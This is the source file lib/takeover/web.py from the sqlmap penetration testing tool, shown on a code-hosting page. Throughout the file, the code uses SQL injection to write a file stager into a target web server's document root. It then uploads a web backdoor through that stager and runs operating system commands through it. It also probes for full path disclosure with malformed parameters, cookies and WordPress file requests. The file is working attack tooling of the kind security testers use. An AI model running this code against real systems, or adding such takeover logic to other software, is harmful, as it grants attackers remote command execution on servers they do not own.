Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/web.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import io
9
import os
10
import posixpath
11
import re
12
import tempfile
13
14
from extra.cloak.cloak import decloak
15
from lib.core.agent import agent
16
from lib.core.common import arrayizeValue
17
from lib.core.common import Backend
18
from lib.core.common import extractRegexResult
19
from lib.core.common import getAutoDirectories
20
from lib.core.common import getManualDirectories
21
from lib.core.common import getPublicTypeMembers
22
from lib.core.common import getSQLSnippet
23
from lib.core.common import getTechnique
24
from lib.core.common import getTechniqueData
25
from lib.core.common import isDigit
26
from lib.core.common import isTechniqueAvailable
27
from lib.core.common import isWindowsDriveLetterPath
28
from lib.core.common import normalizePath
29
from lib.core.common import ntToPosixSlashes
30
from lib.core.common import openFile
31
from lib.core.common import parseFilePaths
32
from lib.core.common import posixToNtSlashes
33
from lib.core.common import randomInt
34
from lib.core.common import randomStr
35
from lib.core.common import readInput
36
from lib.core.common import singleTimeWarnMessage
37
from lib.core.compat import xrange
38
from lib.core.convert import encodeHex
39
from lib.core.convert import getBytes
40
from lib.core.convert import getText
41
from lib.core.convert import getUnicode
42
from lib.core.data import conf
43
from lib.core.data import kb
44
from lib.core.data import logger
45
from lib.core.data import paths
46
from lib.core.datatype import OrderedSet
47
from lib.core.enums import DBMS
48
from lib.core.enums import HTTP_HEADER
49
from lib.core.enums import OS
50
from lib.core.enums import PAYLOAD
51
from lib.core.enums import PLACE
52
from lib.core.enums import WEB_PLATFORM
53
from lib.core.exception import SqlmapNoneDataException
54
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
55
from lib.core.settings import EVENTVALIDATION_REGEX
56
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
57
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
58
from lib.core.settings import VIEWSTATE_REGEX
59
from lib.request.connect import Connect as Request
60
from thirdparty.six.moves import urllib as _urllib
61
62
class Web(object):
63
"""
64
This class defines web-oriented OS takeover functionalities for
65
plugins.
66
"""
67
68
def __init__(self):
69
self.webPlatform = None
70
self.webBaseUrl = None
71
self.webBackdoorUrl = None
72
self.webBackdoorFilePath = None
73
self.webStagerUrl = None
74
self.webStagerFilePath = None
75
self.webDirectory = None
76
77
def webBackdoorRunCmd(self, cmd):
78
if self.webBackdoorUrl is None:
79
return
80
81
output = None
82
83
if not cmd:
84
cmd = conf.osCmd
85
86
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
87
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
88
89
if page is not None:
90
output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)
91
92
if output:
93
output = output.group(1)
94
95
return output
96
97
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
98
if filepath is not None:
99
if filepath.endswith('_'):
100
content = decloak(filepath) # cloaked file
101
else:
102
with openFile(filepath, "rb", encoding=None) as f:
103
content = f.read()
104
105
if content is not None:
106
stream = io.BytesIO(getBytes(content)) # string content
107
108
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
109
# Reference: https://stackoverflow.com/a/4677542
110
stream.seek(0, os.SEEK_END)
111
stream.len = stream.tell()
112
stream.seek(0, os.SEEK_SET)
113
114
return self._webFileStreamUpload(stream, destFileName, directory)
115
116
def _webFileStreamUpload(self, stream, destFileName, directory):
117
stream.seek(0) # Rewind
118
119
try:
120
setattr(stream, "name", destFileName)
121
except TypeError:
122
pass
123
124
if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
125
multipartParams = {
126
"upload": "1",
127
"file": stream,
128
"uploadDir": directory,
129
}
130
131
if self.webPlatform == WEB_PLATFORM.ASPX:
132
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
133
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
134
135
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
136
137
if "File uploaded" not in (page or ""):
138
warnMsg = "unable to upload the file through the web file "
139
warnMsg += "stager to '%s'" % directory
140
logger.warning(warnMsg)
141
return False
142
else:
143
return True
144
else:
145
logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)
146
return False
147
148
def _webFileInject(self, fileContent, fileName, directory):
149
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
150
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
151
query = ""
152
153
if isTechniqueAvailable(getTechnique()):
154
where = getTechniqueData().where
155
156
if where == PAYLOAD.WHERE.NEGATIVE:
157
randInt = randomInt()
158
query += "OR %d=%d " % (randInt, randInt)
159
160
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
161
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
162
payload = agent.payload(newValue=query)
163
page = Request.queryPage(payload)
164
165
return page
166
167
def webInit(self):
168
"""
169
This method is used to write a web backdoor (agent) on a writable
170
remote directory within the web server document root.
171
"""
172
173
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
174
return
175
176
self.checkDbmsOs()
177
178
default = None
179
choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
180
181
for ext in choices:
182
if conf.url.endswith(ext):
183
default = ext
184
break
185
186
if not default:
187
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
188
189
message = "which web application language does the web server "
190
message += "support?\n"
191
192
for count in xrange(len(choices)):
193
ext = choices[count]
194
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
195
196
if default == ext:
197
default = count + 1
198
199
message = message[:-1]
200
201
while True:
202
choice = readInput(message, default=str(default))
203
204
if not isDigit(choice):
205
logger.warning("invalid value, only digits are allowed")
206
207
elif int(choice) < 1 or int(choice) > len(choices):
208
logger.warning("invalid value, it must be between 1 and %d" % len(choices))
209
210
else:
211
self.webPlatform = choices[int(choice) - 1]
212
break
213
214
if not kb.absFilePaths:
215
message = "do you want sqlmap to further try to "
216
message += "provoke the full path disclosure? [Y/n] "
217
218
if readInput(message, default='Y', boolean=True):
219
headers = {}
220
been = set([conf.url])
221
222
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
223
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
224
if url not in been:
225
try:
226
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
227
parseFilePaths(page)
228
except:
229
pass
230
finally:
231
been.add(url)
232
233
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
234
if url not in been:
235
try:
236
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
237
parseFilePaths(page)
238
except:
239
pass
240
finally:
241
been.add(url)
242
243
for place in (PLACE.GET, PLACE.POST):
244
if place in conf.parameters:
245
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
246
if "[]" in value:
247
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
248
parseFilePaths(page)
249
250
cookie = None
251
if PLACE.COOKIE in conf.parameters:
252
cookie = conf.parameters[PLACE.COOKIE]
253
elif headers and HTTP_HEADER.SET_COOKIE in headers:
254
cookie = headers[HTTP_HEADER.SET_COOKIE]
255
256
if cookie:
257
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
258
if value != cookie:
259
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
260
parseFilePaths(page)
261
262
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
263
if value != cookie:
264
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
265
parseFilePaths(page)
266
267
directories = list(arrayizeValue(getManualDirectories()))
268
directories.extend(getAutoDirectories())
269
directories = list(OrderedSet(directories))
270
271
path = _urllib.parse.urlparse(conf.url).path or '/'
272
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
273
if path != '/':
274
_ = []
275
for directory in directories:
276
_.append(directory)
277
if not directory.endswith(path):
278
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
279
directories = _
280
281
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
282
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
283
284
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
285
286
for directory in directories:
287
if not directory:
288
continue
289
290
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
291
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
292
293
uploaded = False
294
directory = ntToPosixSlashes(normalizePath(directory))
295
296
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
297
directory = "/%s" % directory
298
299
if not directory.endswith('/'):
300
directory += '/'
301
302
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
303
infoMsg = "trying to upload the file stager on '%s' " % directory
304
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
305
logger.info(infoMsg)
306
self._webFileInject(stagerContent, stagerName, directory)
307
308
for match in re.finditer('/', directory):
309
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
310
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
311
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
312
logger.debug(debugMsg)
313
314
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
315
uplPage = uplPage or ""
316
317
if "sqlmap file uploader" in uplPage:
318
uploaded = True
319
break
320
321
# Fall-back to UNION queries file upload method
322
if not uploaded:
323
warnMsg = "unable to upload the file stager "
324
warnMsg += "on '%s'" % directory
325
singleTimeWarnMessage(warnMsg)
326
327
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
328
infoMsg = "trying to upload the file stager on '%s' " % directory
329
infoMsg += "via UNION method"
330
logger.info(infoMsg)
331
332
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
333
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
334
335
handle, filename = tempfile.mkstemp()
336
os.close(handle)
337
338
with openFile(filename, "w+b") as f:
339
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
340
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
341
f.write(_)
342
343
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
344
345
for match in re.finditer('/', directory):
346
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
347
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
348
349
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
350
logger.debug(debugMsg)
351
352
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
353
uplPage = uplPage or ""
354
355
if "sqlmap file uploader" in uplPage:
356
uploaded = True
357
break
358
359
if not uploaded:
360
continue
361
362
if "<%" in uplPage or "<?" in uplPage:
363
warnMsg = "file stager uploaded on '%s', " % directory
364
warnMsg += "but not dynamically interpreted"
365
logger.warning(warnMsg)
366
continue
367
368
elif self.webPlatform == WEB_PLATFORM.ASPX:
369
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
370
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
371
372
infoMsg = "the file stager has been successfully uploaded "
373
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
374
logger.info(infoMsg)
375
376
if self.webPlatform == WEB_PLATFORM.ASP:
377
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
378
379
if match:
380
backdoorDirectory = match.group(1)
381
else:
382
continue
383
384
_ = "tmpe%s.exe" % randomStr(lowercase=True)
385
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
386
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
387
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
388
self.webDirectory = backdoorDirectory
389
else:
390
continue
391
392
else:
393
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
394
warnMsg = "backdoor has not been successfully uploaded "
395
warnMsg += "through the file stager possibly because "
396
warnMsg += "the user running the web server process "
397
warnMsg += "has not write privileges over the folder "
398
warnMsg += "where the user running the DBMS process "
399
warnMsg += "was able to upload the file stager or "
400
warnMsg += "because the DBMS and web server sit on "
401
warnMsg += "different servers"
402
logger.warning(warnMsg)
403
404
message = "do you want to try the same method used "
405
message += "for the file stager? [Y/n] "
406
407
if readInput(message, default='Y', boolean=True):
408
self._webFileInject(backdoorContent, backdoorName, directory)
409
else:
410
continue
411
412
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
413
self.webDirectory = directory
414
415
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
416
417
testStr = "command execution test"
418
output = self.webBackdoorRunCmd("echo %s" % testStr)
419
420
if output == "0":
421
warnMsg = "the backdoor has been uploaded but required privileges "
422
warnMsg += "for running the system commands are missing"
423
raise SqlmapNoneDataException(warnMsg)
424
elif output and testStr in output:
425
infoMsg = "the backdoor has been successfully "
426
else:
427
infoMsg = "the backdoor has probably been successfully "
428
429
infoMsg += "uploaded on '%s' - " % self.webDirectory
430
infoMsg += self.webBackdoorUrl
431
logger.info(infoMsg)
432
433
break
434
435